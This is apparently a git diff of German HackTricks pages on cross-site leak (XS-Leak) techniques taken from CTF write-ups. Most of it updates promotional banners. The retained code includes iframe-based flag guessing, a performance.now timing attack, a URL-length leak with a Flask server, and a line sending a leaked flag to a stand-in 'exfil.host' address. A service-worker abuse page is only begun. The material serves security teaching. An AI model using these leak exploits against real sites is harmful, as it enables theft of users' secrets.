Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS erhalten oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```javascript
|
||||
// Code that will try ${guess} as flag (need rest of the server code
|
||||
app.get('/guessing', function(req, res) {
|
||||
|
@ -30,7 +33,7 @@ window.parent.foo()
|
|||
res.send(page)
|
||||
});
|
||||
```
|
||||
Hauptseite, die Iframes zur vorherigen `/guessing` Seite generiert, um jede Möglichkeit zu testen
|
||||
Hauptseite, die iframes zur vorherigen `/guessing`-Seite generiert, um jede Möglichkeit zu testen
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
@ -75,14 +78,17 @@ hack.innerHTML = iframe
|
|||
</div>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,26 @@
|
|||
# performance.now + Force heavy task
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Exploit entnommen von [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
|
||||
|
||||
In dieser Herausforderung konnte der Benutzer Tausende von Zeichen senden, und wenn die Flagge enthalten war, würden die Zeichen an den Bot zurückgesendet werden. Indem der Angreifer eine große Menge an Zeichen einfügte, konnte er messen, ob die Flagge in der gesendeten Zeichenkette enthalten war oder nicht.
|
||||
In dieser Herausforderung konnte der Benutzer Tausende von Zeichen senden, und wenn die Flagge enthalten war, wurden die Zeichen an den Bot zurückgesendet. Durch das Senden einer großen Anzahl von Zeichen konnte der Angreifer messen, ob die Flagge im gesendeten String enthalten war oder nicht.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ursprünglich habe ich keine Breite und Höhe des Objekts festgelegt, aber später habe ich festgestellt, dass dies wichtig ist, da die Standardgröße zu klein ist, um einen Unterschied in der Ladezeit zu machen.
|
||||
Ursprünglich hatte ich die Breite und Höhe des Objekts nicht festgelegt, aber später stellte ich fest, dass es wichtig ist, da die Standardgröße zu klein ist, um einen Unterschied in der Ladezeit zu machen.
|
||||
{% endhint %}
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
|
@ -114,14 +117,17 @@ main()
|
|||
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# performance.now Beispiel
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS erhalten oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Beispiel entnommen von [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
|
||||
```javascript
|
||||
|
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
|
|||
|
||||
document.addEventListener('DOMContentLoaded', main);
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# URL Maximale Länge - Clientseitig
|
||||
# URL Max Length - Client Side
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Code von [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
```html
|
||||
|
@ -48,7 +51,7 @@ await new Promise(resolve => setTimeout(resolve, 50))
|
|||
</script>
|
||||
</html>
|
||||
```
|
||||
Serverseite:
|
||||
Server-Seite:
|
||||
```python
|
||||
from flask import Flask, request
|
||||
|
||||
|
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
|
|||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=1337)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Ausnutzen von Service-Workern
|
||||
|
||||
# Abusing Service Workers
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-Gruppe** bei (https://discord.gg/hRep4RUj7f) oder der **Telegram-Gruppe** oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **einreichen**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -22,34 +23,33 @@
|
|||
|
||||
***
|
||||
|
||||
## Grundlegende Informationen
|
||||
## Grundinformationen
|
||||
|
||||
Ein **Service Worker** ist ein Skript, das von Ihrem Browser im Hintergrund ausgeführt wird, unabhängig von einer Webseite, und Funktionen ermöglicht, die keine Webseite oder Benutzerinteraktion erfordern und somit die Fähigkeiten zur **Offline- und Hintergrundverarbeitung** verbessern. Detaillierte Informationen zu Service Workern finden Sie [hier](https://developers.google.com/web/fundamentals/primers/service-workers). Durch Ausnutzen von Service Workern innerhalb einer anfälligen Webdomäne können Angreifer die Kontrolle über die Interaktionen des Opfers mit allen Seiten innerhalb dieser Domäne erlangen.
|
||||
Ein **Service Worker** ist ein Skript, das von Ihrem Browser im Hintergrund ausgeführt wird, getrennt von jeder Webseite, und Funktionen ermöglicht, die keine Webseite oder Benutzerinteraktion erfordern, wodurch die **Offline- und Hintergrundverarbeitungs**fähigkeiten verbessert werden. Detaillierte Informationen zu Service Workern finden Sie [hier](https://developers.google.com/web/fundamentals/primers/service-workers). Durch das Ausnutzen von Service Workern innerhalb einer verwundbaren Web-Domain können Angreifer die Kontrolle über die Interaktionen des Opfers mit allen Seiten innerhalb dieser Domain erlangen.
|
||||
|
||||
### Überprüfen vorhandener Service Worker
|
||||
|
||||
### Überprüfen von vorhandenen Service Workern
|
||||
|
||||
Vorhandene Service Worker können im Abschnitt **Service Worker** des **Anwendungs**-Tabs in den **Entwicklertools** überprüft werden. Eine weitere Methode besteht darin, [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) zu besuchen, um eine detailliertere Ansicht zu erhalten.
|
||||
Vorhandene Service Worker können im Abschnitt **Service Workers** des **Application**-Tabs in den **Entwicklertools** überprüft werden. Eine andere Methode ist der Besuch von [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) für eine detailliertere Ansicht.
|
||||
|
||||
### Push-Benachrichtigungen
|
||||
|
||||
**Push-Benachrichtigungsberechtigungen** beeinflussen direkt die Fähigkeit eines **Service Workers**, mit dem Server zu kommunizieren, ohne direkte Benutzerinteraktion. Wenn Berechtigungen verweigert werden, wird das Potenzial des Service Workers eingeschränkt, eine kontinuierliche Bedrohung darzustellen. Im Gegensatz dazu erhöht das Gewähren von Berechtigungen die Sicherheitsrisiken, indem der Empfang und die Ausführung potenzieller Exploits ermöglicht werden.
|
||||
**Berechtigungen für Push-Benachrichtigungen** wirken sich direkt auf die Fähigkeit eines **Service Workers** aus, ohne direkte Benutzerinteraktion mit dem Server zu kommunizieren. Wenn Berechtigungen verweigert werden, wird das Potenzial des Service Workers, eine kontinuierliche Bedrohung darzustellen, eingeschränkt. Im Gegensatz dazu erhöht das Gewähren von Berechtigungen die Sicherheitsrisiken, indem es den Empfang und die Ausführung potenzieller Exploits ermöglicht.
|
||||
|
||||
## Angriff durch Erstellen eines Service Workers
|
||||
## Angriff Erstellen eines Service Workers
|
||||
|
||||
Um diese Schwachstelle auszunutzen, müssen Sie Folgendes finden:
|
||||
|
||||
* Einen Weg, um **beliebige JS-Dateien auf den Server hochzuladen und ein XSS zum Laden des Service Workers** der hochgeladenen JS-Datei zu finden
|
||||
